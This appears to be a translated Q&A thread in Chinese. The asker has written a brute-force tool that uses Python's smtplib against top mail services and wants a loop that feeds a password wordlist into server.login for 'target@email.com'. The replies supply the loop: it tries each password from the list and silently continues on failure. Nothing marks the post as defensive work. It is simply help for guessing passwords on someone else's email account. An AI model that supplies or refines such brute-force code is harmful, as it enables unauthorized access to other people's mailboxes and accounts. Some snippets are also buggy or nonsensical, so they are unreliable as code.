问题描述
我使用 smtplib 模块为顶级邮件服务创建了一个暴力破解工具,但我遇到了一个问题。问题是如何将文本文件作为输入。
我希望该工具应该从 wordlist 的第一行获取密码并尝试它,然后它会移动到下一个密码并尝试它。
我尝试的是:-
def wordlist():
global file
file = open('file.txt')
global max_line
max_line = int(input("Please enter the number of passwords (lines) in the worldist: "))
global line
line = file.readlines()
global line_no
line_no = 0
main()
def main():
line_no+=1
while max_line!=line_no:
server.login('target@email.com',line[count])
line_no+=1
if __name__ == "__main__":
wordlist()
简单来说,我想创建一个循环,在该循环中该工具应该从 wordlist 中获取第一个密码并尝试它,然后移动到下一个。
解决方法
像这样:
for password in passwords:
mail="From:example@example.com To:example@example.com Password:%s Text:wbdshgfbd" %(password)
,
您可以使用 split("\n") 分隔密码然后使用列表
,passwords=passwordsText.split("\n")
for i in passwords:
try:
server.login('target@email.com',str(i))
except Exception:
continue
也许是这样。